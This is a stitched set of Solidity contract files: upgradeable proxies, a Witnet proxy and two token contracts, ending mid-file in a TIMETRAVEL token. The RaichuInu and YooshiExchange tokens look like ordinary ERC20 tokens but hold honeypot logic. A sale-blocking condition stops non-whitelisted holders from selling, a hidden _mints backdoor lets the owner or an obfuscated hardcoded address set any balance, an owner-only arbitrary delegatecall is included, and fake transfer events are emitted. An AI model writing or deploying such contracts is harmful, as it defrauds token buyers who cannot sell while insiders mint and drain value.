* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fallback when the sender is not the admin.
*/
function _willFallback() internal override virtual {
// require(msg.sender != _admin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._willFallback();
}
}
// File: contracts/YFIIC.sol
pragma solidity >=0.6.0 <0.7.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract YFIIC is ManagedProxy {
constructor(
address logic,
address admin
)
public
payable
ManagedProxy(
logic,
admin,
abi.encodeWithSelector(0x9c020061, admin)
)
{}
}
|
DC1
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
pragma experimental ABIEncoderV2;
// File: contracts\patterns\Initializable.sol
interface Initializable {
/// @dev Initialize contract's storage context.
function initialize(bytes calldata) external;
}
// File: contracts\patterns\Proxiable.sol
interface Proxiable {
/// @dev Complying with EIP-1822: Universal Upgradable Proxy Standard (UUPS)
/// @dev See https://eips.ethereum.org/EIPS/eip-1822.
function proxiableUUID() external pure returns (bytes32);
}
// File: contracts\patterns\Upgradable.sol
/* solhint-disable var-name-mixedcase */
abstract contract Upgradable is Initializable, Proxiable {
address internal immutable _BASE;
bytes32 internal immutable _CODEHASH;
bool internal immutable _UPGRADABLE;
/// Emitted every time the contract gets upgraded.
/// @param from The address who ordered the upgrading. Namely, the WRB operator in "trustable" implementations.
/// @param baseAddr The address of the new implementation contract.
/// @param baseCodehash The EVM-codehash of the new implementation contract.
/// @param versionTag Ascii-encoded version literal with which the implementation deployer decided to tag it.
event Upgraded(
address indexed from,
address indexed baseAddr,
bytes32 indexed baseCodehash,
bytes32 versionTag
);
constructor (bool _isUpgradable) {
address _base = address(this);
bytes32 _codehash;
assembly {
_codehash := extcodehash(_base)
}
_BASE = _base;
_CODEHASH = _codehash;
_UPGRADABLE = _isUpgradable;
}
/// @dev Tells whether provided address could eventually upgrade the contract.
function isUpgradableFrom(address from) virtual external view returns (bool);
/// TODO: the following methods should be all declared as pure
/// whenever this Solidity's PR gets merged and released:
/// https://github.com/ethereum/solidity/pull/10240
/// @dev Retrieves base contract. Differs from address(this) when via delegate-proxy pattern.
function base() public view returns (address) {
return _BASE;
}
/// @dev Retrieves the immutable codehash of this contract, even if invoked as delegatecall.
/// @return _codehash This contracts immutable codehash.
function codehash() public view returns (bytes32 _codehash) {
return _CODEHASH;
}
/// @dev Determines whether current instance allows being upgraded.
/// @dev Returned value should be invariant from whoever is calling.
function isUpgradable() public view returns (bool) {
return _UPGRADABLE;
}
/// @dev Retrieves human-redable named version of current implementation.
function version() virtual public view returns (bytes32);
}
// File: contracts\impls\WitnetProxy.sol
/// @title WitnetProxy: upgradable delegate-proxy contract that routes Witnet data requests coming from a
/// `UsingWitnet`-inheriting contract to a currently active `WitnetRequestBoard` implementation.
/// @author The Witnet Foundation.
contract WitnetProxy {
struct WitnetProxySlot {
address implementation;
}
/// Event emitted every time the implementation gets updated.
event Upgraded(address indexed implementation);
/// Constructor with no params as to ease eventual support of Singleton pattern (i.e. ERC-2470).
constructor () {}
/// WitnetProxies will never accept direct transfer of ETHs.
receive() external payable {
revert("WitnetProxy: no transfers accepted");
}
/// Payable fallback accepts delegating calls to payable functions.
fallback() external payable { /* solhint-disable no-complex-fallback */
address _implementation = implementation();
assembly { /* solhint-disable avoid-low-level-calls */
// Gas optimized delegate call to 'implementation' contract.
// Note: `msg.data`, `msg.sender` and `msg.value` will be passed over
// to actual implementation of `msg.sig` within `implementation` contract.
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _implementation, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
// pass back revert message:
revert(ptr, size)
}
default {
// pass back same data as returned by 'implementation' contract:
return(ptr, size)
}
}
}
/// Returns proxy's current implementation address.
function implementation() public view returns (address) {
return _proxySlot().implementation;
}
/// Upgrades the `implementation` address.
/// @param _newImplementation New implementation address.
/// @param _initData Raw data with which new implementation will be initialized.
/// @return Returns whether new implementation would be further upgradable, or not.
function upgradeTo(address _newImplementation, bytes memory _initData)
public returns (bool)
{
// New implementation cannot be null:
require(_newImplementation != address(0), "WitnetProxy: null implementation");
address _oldImplementation = implementation();
if (_oldImplementation != address(0)) {
// New implementation address must differ from current one:
require(_newImplementation != _oldImplementation, "WitnetProxy: nothing to upgrade");
// Assert whether current implementation is intrinsically upgradable:
try Upgradable(_oldImplementation).isUpgradable() returns (bool _isUpgradable) {
require(_isUpgradable, "WitnetProxy: not upgradable");
} catch {
revert("WitnetProxy: unable to check upgradability");
}
// Assert whether current implementation allows `msg.sender` to upgrade the proxy:
(bool _wasCalled, bytes memory _result) = _oldImplementation.delegatecall(
abi.encodeWithSignature(
"isUpgradableFrom(address)",
msg.sender
)
);
require(_wasCalled, "WitnetProxy: not compliant");
require(abi.decode(_result, (bool)), "WitnetProxy: not authorized");
require(
Upgradable(_oldImplementation).proxiableUUID() == Upgradable(_newImplementation).proxiableUUID(),
"WitnetProxy: proxiableUUIDs mismatch"
);
}
// Initialize new implementation within proxy-context storage:
(bool _wasInitialized,) = _newImplementation.delegatecall(
abi.encodeWithSignature(
"initialize(bytes)",
_initData
)
);
require(_wasInitialized, "WitnetProxy: unable to initialize");
// If all checks and initialization pass, update implementation address:
_proxySlot().implementation = _newImplementation;
emit Upgraded(_newImplementation);
// Asserts new implementation complies w/ minimal implementation of Upgradable interface:
try Upgradable(_newImplementation).isUpgradable() returns (bool _isUpgradable) {
return _isUpgradable;
}
catch {
revert ("WitnetProxy: not compliant");
}
}
/// @dev Complying with EIP-1967, retrieves storage struct containing proxy's current implementation address.
function _proxySlot() private pure returns (WitnetProxySlot storage _slot) {
assembly {
// bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
_slot.slot := 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
}
}
}
|
DC1
|
pragma solidity ^0.8.4;
contract BSCWinBulls {
event myEvent(bytes);
// Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
constructor(bytes memory constructData, address contractLogic) public {
// save the code address
assembly { // solium-disable-line
sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
}
(bool success, bytes memory __ ) = contractLogic.delegatecall(constructData); // solium-disable-line
emit myEvent(__);
require(success, "Construction failed");
}
fallback() external payable {
assembly { // solium-disable-line
let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(gas(), contractLogic, 0x0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch success
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RaichuInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract YooshiExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Storage for a TIMETRAVEL token
contract TIMETRAVELTokenStorage {
using SafeMath for uint256;
/**
* @dev Guard variable for re-entrancy checks. Not currently used
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
